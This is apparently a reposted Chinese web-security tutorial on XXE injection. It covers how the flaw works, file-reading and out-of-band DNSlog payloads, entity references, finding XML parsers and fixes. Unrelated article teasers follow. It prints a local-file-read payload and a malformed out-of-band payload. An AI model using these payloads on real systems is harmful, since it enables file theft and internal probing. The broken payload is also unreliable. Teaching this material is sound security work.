41、WEB攻防——通用漏洞XMLXXE无回显DTD实体伪协议代码审计

文章目录

  • XXE原理&探针&利用
    • XXE读取文件
    • XXE带外测试
    • XXE实体引用
    • XXE挖掘
    • XXE修复

在这里插入图片描述
在这里插入图片描述

参考资料:CTF XXE

XXE原理&探针&利用

XXE用到的重点知识是XML,XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE(XML External Entity Injection,即xml外部实体注入漏洞),XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(主要)、内网端口扫描、攻击内网网站等危害。

XML和HTML的主要差异:

  • XML被设计为传输和存储数据,其焦点是数据的内容;
  • HTML被设计用来显示数据,其焦点是数据的外观;
  • HTML旨在显示信息,而XML旨在传输信息。

抓取数据包,查看AcceptX-Requested-With可以看出传输XML数据。
在这里插入图片描述

XXE读取文件

<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test SYSTEM "file:///d:/e.txt">]><user><username>&test;</username><password>Mikasa</password></user>

在这里插入图片描述

具体请看CTF XXE

XXE带外测试

<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test [<!ENTITY % file SYSTEM "<DNSlogs生成的域名>"]> %file;]><user><username>&send;</username><password>Mikasa</password></user>

在这里插入图片描述

在这里插入图片描述
当读取文件前端页面无回显的时候,就需要使用带外进行测试。例如,注释掉输出语句,前端将不会显示读取的内容。
在这里插入图片描述
再次读取将没有回显。没有回显,可能原因:1、代码写错了;2、文件路径、文件不存在;3、不回显。
在这里插入图片描述
带外测试就能证明漏洞存在。,带外测试也不会有回显,但是DNSlog上会有记录。
在这里插入图片描述
在这里插入图片描述

XXE实体引用

带外只能判断漏洞存不存在,读取文件时如何显示文件呢?实体引用
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发送xml实体引用,目标文件的内容将会保存到file.txt中。
在这里插入图片描述

XXE挖掘

在这里插入图片描述

主要是找XML解析函数

XXE修复

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/660173.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

操作系统(10)----死锁

目录 一.死锁、饥饿、死循环的区别 二.死锁产生的必要条件 三.什么时候会发生死锁 四.死锁的处理策略 1.预防死锁 &#xff08;1&#xff09;破坏互斥条件 &#xff08;2&#xff09;破坏不剥夺条件 &#xff08;3&#xff09;破坏请求和保持条件 &#xff08;4&#…

cx_oracle连接oracle的us7ascii数据集乱码问题

1.问题 oracle数据库使用到的字符集是us7ascii&#xff0c;总的来说就是ascii数据集&#xff0c;7位表示一个字符&#xff0c;对于英文还没有问题&#xff0c;但是遇到中文就G了。 查看自己数据库使用的字符集&#xff1a; SELECT value FROM nls_database_parameters WHERE …

【笔试常见易错选择题01】else、表达式、二维数组、%m.ns、%m.nf、常量指针和指针常量、宏定义、传参、数组越界、位段

1. 下列main()函数执行后的结果为&#xff08;&#xff09; int func(){ int i, j, k 0; for(i 0, j -1;j 0;i, j){ k; } return k; } int main(){cout << (func());return 0; }A. -1 B. 0 C. 1 D. 2 判断为赋值语句&#xff0c;j等于0 0为假不进循环 选B. 2. 下面程…

【Java万花筒】开启数字金融新纪元:深入解析开放银行与Java应用

Java支付大揭秘&#xff1a;从Stripe到Alipay&#xff0c;电子商务全覆盖 前言 在数字化时代&#xff0c;电子商务和支付领域蓬勃发展&#xff0c;而Java库作为开发者的得力工具&#xff0c;在整个过程中扮演着关键的角色。本文将深入探讨几个与电子商务和支付密切相关的Java…

虹科方案|释放总线潜力:汽车总线离线模拟解决方案

导读&#xff1a;传统的ECU模拟工具通常需要依赖上位机软件来发起通信&#xff0c;这在离线场景和自动化产线中带来不便。为了应对这一挑战&#xff0c;虹科推出了创新的汽车总线离线模拟解决方案&#xff0c;基于PCAN-Router系列网关&#xff0c;通过内部可编程固件&#xff0…

轻松Python批量将图片合并为PDF并按数字顺序排序(成功)

在处理数字化文档或报告时,我们经常需要将扫描的图片或图表批量合并为单一的PDF文件。Python提供了一种简便的方法来自动化这个过程,并且可以确保图片按照数字顺序(如1, 2, 10而不是1, 10, 2)正确排序。本文将介绍如何使用Python和Pillow库来实现这一功能。 安装Pillow库 …

数据结构:图文详解 搜索二叉树(搜索二叉树的概念与性质,查找,插入,删除)

目录 搜索二叉树的相关概念和性质 搜索二叉树的查找 搜索二叉树的插入 搜索二叉树的删除 1.删除节点只有右子树&#xff0c;左子树为空 2.删除节点只有左子树&#xff0c;右子树为空 3.删除节点左右子树都不为空 搜索二叉树的完整代码实现 搜索二叉树的相关概念和性质 …

一、冯诺依曼计算机

图灵与冯诺依曼两位计算机发展重要人物。冯诺依曼简介&#xff1a;被誉为现代计算机之父。 世界上第一台通用计算机Eniac&#xff0c;就有冯诺依曼的参与。他提出的思想&#xff0c;将数据和程序分离开了&#xff0c;程序是程序&#xff0c;数据是数据&#xff0c;数据可以由程…

大数据时代效率革新:数字化管理助力企业迈向全新高度-亿发

在大数据时代的浪潮中&#xff0c;数字化管理成为企业不可或缺的发展趋势。以信息技术为支撑&#xff0c;数字化管理为企业带来了前所未有的机遇和挑战。让我们一起探讨&#xff0c;在这个数字时代&#xff0c;数字化管理如何引领企业走向更加高效、智能的未来。 1. 数据驱动决…

更新!3D开发工具HOOPS发布2024版本:增强Navisworks、Revit等新版本支持,性能进一步提高!

3D工程软件开发工具包的领先提供商Tech Soft 3D今天宣布推出HOOPS Exchange 2024&#xff08;支持30多种文件格式的领先CAD数据转换SDK&#xff09;和HOOPS Publish 2024&#xff0c;用于发布交互式3D PDF、3D HTML和3D CAD数据的领先工具包。 HOOPS Exchange现在支持Naviswor…

轻松开始在eBay上销售:如何创建eBay卖家账号

eBay作为全球最大的在线拍卖和购物平台之一&#xff0c;为卖家提供了极大的商机。如果您想在eBay上开始销售并赢得更多客户&#xff0c;本文将为您提供创建卖家账号的详细步骤指南&#xff0c;帮助您开启成功的电商之旅。 一、访问eBay官方网站 首先&#xff0c;打开您的浏览…

2024美赛F题思路/代码

美赛直播b站&#xff0c;提前关注&#xff1a;川川菜鸟 美赛辅导预定&#xff1a;美赛服务 去年美赛A题&#xff1a;2023美赛A题 题目 待定 问题一 思路 待定 模型 待定 程序 待定 问题二 待定 思路 待定 模型 待定 程序 待定

微信公众号在线客服源码系统,开发组合PHP+MySQL 带完整的安装代码包以及搭建教程

移动互联网的快速发展&#xff0c;微信公众号成为了企业与用户之间的重要沟通桥梁。为了满足企业对微信公众号在线客服的需求&#xff0c;小编给大家分享一款基于PHP和MySQL的微信公众号在线客服源码系统。这套系统能够帮助企业快速搭建自己的微信公众号在线客服平台&#xff0…

FPGA高端项目:Xilinx Artix7系列FPGA 多路视频缩放拼接 工程解决方案 提供4套工程源码+技术支持

目录 1、前言版本更新说明给读者的一封信FPGA就业高端项目培训计划免责声明 2、相关方案推荐我这里已有的FPGA图像缩放方案我已有的FPGA视频拼接叠加融合方案本方案的Xilinx Kintex7系列FPGA上的ov5640版本本方案的Xilinx Kintex7系列FPGA上的HDMI版本 3、设计思路框架设计框图…

【Midjourney】新手指南:参数设置

1.--aspect 或 --ar 用于设置图片长宽比&#xff0c;例如 --ar 16:9就是设置图片宽为16&#xff0c;高为9 2.--chaos 用于设置躁点&#xff0c;噪点值越高随机性越大&#xff0c;取值为0到100&#xff0c;例如 --chaos 50 3.--turbo 覆盖seetings的设置并启用极速模式生成…

实际项目中的SpringAOP实现日志打印

目录 一、AOP实现日志 1.1 需求分析&#xff1a; 1.2 定义切面类和切点&#xff1a; 扩展&#xff1a;finally中的代码块一定会执行吗&#xff1f; 扩展 总结 1.3 定义环绕通知 1.4 handleBefore 的具体实现 1.4.1 获取url 1.4.2 获取接口描述信息 1.4.3 后续获取 1.5…

全球网络加速的5种方法,云桥通力推SDWAN企业组网

全球网络加速旨在通过采用多种技术和服务&#xff0c;提高全球范围内的网络连接速度和性能。在全球化发展的趋势下&#xff0c;跨国企业、云服务提供商和全球用户之间的网络通信变得日益关键。其目标是克服跨国网络连接中的延迟、带宽限制和数据包丢失等问题&#xff0c;以提供…

向量数据库Milvas

Milvus是在2019年创建的&#xff0c;其唯一目标是存储、索引和管理由深度神经网络和其他机器学习&#xff08;ML&#xff09;模型生成的大规模嵌入向量。 Milvus的概述 – Milvus向量库中文文档 (milvus-io.com) Milvus 2.0 概述 - 《Milvus 帮助手册-教程 - V2 版本》 - 极客…

【C++】 C++入门—内联函数

C入门 1 内联函数1.1 定义1.2 查看方式1.3 注意 Thanks♪(&#xff65;ω&#xff65;)&#xff89;谢谢阅读下一篇文章见&#xff01;&#xff01;&#xff01; 1 内联函数 1.1 定义 程序在执行一个函数前需要做准备工作&#xff1a;要将实参、局部变量、返回地址以及若干寄存…

小米商城服务治理之客户端熔断器(Google SRE客户端熔断器)

目录 前言 一、什么是Google SRE熔断器 二、Google SRE 熔断器的工作流程&#xff1a; 三、客户端熔断器 (google SRE 熔断器) golang GRPC 实现 四、客户端熔断器 (google SRE 熔断器) golang GRPC单元测试 大家可以关注个人博客&#xff1a;xingxing – Web Developer …